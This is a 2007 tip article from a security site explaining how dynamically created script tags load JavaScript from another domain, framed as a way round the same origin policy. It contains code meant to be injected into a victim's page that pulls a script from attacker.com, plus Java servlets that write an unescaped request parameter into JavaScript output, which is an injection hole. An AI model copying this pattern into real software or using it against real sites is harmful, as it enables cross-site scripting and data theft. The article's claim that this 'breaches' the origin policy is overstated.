Tip

Breaking the same origin barrier of JavaScript

Anurag Agarwal, CISSP, senior application security consultant

    Requires Free Membership to View

Often we have heard that JavaScript cannot send requests to another domain. That's because of the same origin policy implemented in browsers. The same origin policy of the browsers prevents document- or script-loading from a different domain to manipulate the document loaded from current domain. Without that, JavaScript from a malicious domain could do any number of adverse things, such as log keystrokes, steal cookies, modify your data, or even insert unwanted transactions while you do your online banking. Hence, most of the current browsers implement the same origin policy on nearly every property and method available to JavaScript.

The only exception to the same origin policy is if you are working with documents loaded from any of the subdomains of the current domain. By setting the domain property of the document, scripts residing on a subdomain are allowed access to the scripts on the main domain. For example, the script from test.domain.com could set the domain property to "domain.com". This way the script passes the origin checks when accessing windows loaded from "domain.com". However, the scripts from "test.domain.com" could not set the domain property to "anotherdomain.com".

When a script tries to access properties or methods in a different window (e.g., using the handle returned by window.open() ) the browser performs a same origin check on the URLs of the document in question. If the URLs of the document pass this check, the property can be accessed. If they don't, then an error is thrown. The same origin check consists of verifying that the URL of the document in the target window has the same origin as the document containing the calling script.

Applications vulnerable to cross-site scripting (XSS) attacks are the doorway here. If a user visits a site that has been exploited, not only can a hacker can gather information about the user but he can get around the same origin policy of a user's browser and wreak even more havoc.

External JavaScript from Java servlets
One of the lesser-known sides of external JavaScript is the ability to reference a server-side program (CGI, PHP or Servlets) instead of the familiar .js file. It is kind of interesting, since a client-side script interacting with a server-side program is not considered safe and is usually not allowed from within the browser. But a script can be dynamically generated and loaded if referenced in src attribute of the script tag while the HTML page is being loaded. Using the src attribute of the script tag, you can call an external JavaScript. You can also call a server-side program to dynamically generate a JavaScript. Example:

<script type="text/JavaScript" src="myservlet"></script>

"myservlet" is the server-side program and could be an absolute path like "http://www.myserver.com/myservlet" or a relative path like "myservlet" instead of the usual .js file. Interestingly, you can even pass parameters to the servlet through the URL string. Example:

<script type="text/JavaScript" src="http://attacker.com/myservlet?name=myname"></script>

Now the servlet can be invoked, process parameters and return the result back. There is a limitation, however. It can only return JavaScript code. You also have to set the content type as "application/x-JavaScript". Just think of it as returning JavaScript code instead of HTML code.

There is a workaround to this limitation. Just like when returning HTML, if you had JavaScript code, you would encapsulate in a script tag, here. If you have to return HTML code, you can always return "document.body.innerHTML = 'html code'" or "document.write('html code')". So your typical servlet would look like this:

public class myservlet
{
 public void doGet(HttpServletRequest request, HttpServletResponse response)
 {
  response.setContentType("application/x-JavaScript");
  PrintWriter out = response.getWriter();
String name = request.getParameter("name");
  out.println("document.body.innerHTML = 'Welcome " + name + "';");
  out.close();
 }
}

A JavaScript header is sent at the very beginning to inform the browser that it is receiving a JavaScript file. The final output of the servlet needs to be a valid JavaScript file and must conform to JavaScript syntax. The servlet outputs a valid JavaScript code that replaces the content of the HTML page and displays "Welcome anurag".

The other limitation is that it cannot have an interactive session with the server-side program. While loading the page, when the browser comes across the script tag, it goes to the URL mentioned in the src attribute and validates the incoming data as a valid JavaScript and executes it. The script tag is executed only once, and after the entire page is loaded it cannot call the server-side program again.

Breaking the same origin barrier using external JavaScript
As we discussed above, once the entire HTML page is loaded and all the JavaScript files are executed, there can be no more interaction with the server since all the script tags are executed by the browser. But what about DHTML? You can dynamically create a script element and set a server-side program in the src attribute and voila, you have just breached the same domain barrier. Let's take a look at the code.

Append the following JavaScript code at the victim browser:

function loadscript()
{
var attack_script = document.createElement('script');
attack_script.id = 'myscript';
attack_script.src = 'http://attacker.com/myservlet'; //Replace this url with your
servlet/cgi/php url. attack_script.type = 'text/JavaScript'; document.body.appendChild(attack_script); }

Create the servlet at the attacker server:

public class myservlet
{
 public void doGet(HttpServletRequest request, HttpServletResponse response)
 {
  response.setContentType("application/x-JavaScript");
  PrintWriter out = response.getWriter();
String ip = request.getRemoteAddr();
  out.println("document.body.innerHTML='Your IP address is : " + ip + "';");
  out.close();
 }
}

Demonstration
You can view the demo here -- http://www.attacklabs.com

Download code
You can download the sample code here -- http://www.attacklabs.com

References

-------------------------------
About the author: Anurag Agarwal, CISSP, works for a leading software solutions provider where he addresses different aspects of application security. You may e-mail him at anurag.agarwal@yahoo.com.


Reader Feedback: Share your comments on this article

This was first published in January 2007

There are Comments. Add yours.

 
TIP: Want to include a code block in your comment? Use <pre> or <code> tags around the desired text. Ex: <code>insert code</code>

REGISTER or login:

Forgot Password?
By submitting you agree to receive email from TechTarget and its partners. If you reside outside of the United States, you consent to having your personal data transferred to and processed in the United States. Privacy
Sort by: OldestNewest

Forgot Password?

No problem! Submit your e-mail address below. We'll send you an email containing your password.

Your password has been sent to:

Disclaimer: Our Tips Exchange is a forum for you to share technical advice and expertise with your peers and to learn from other enterprise IT professionals. TechTarget provides the infrastructure to facilitate this sharing of information. However, we cannot guarantee the accuracy or validity of the material submitted. You agree that your use of the Ask The Expert services and your reliance on any questions, answers, information or other materials received through this Web site is at your own risk.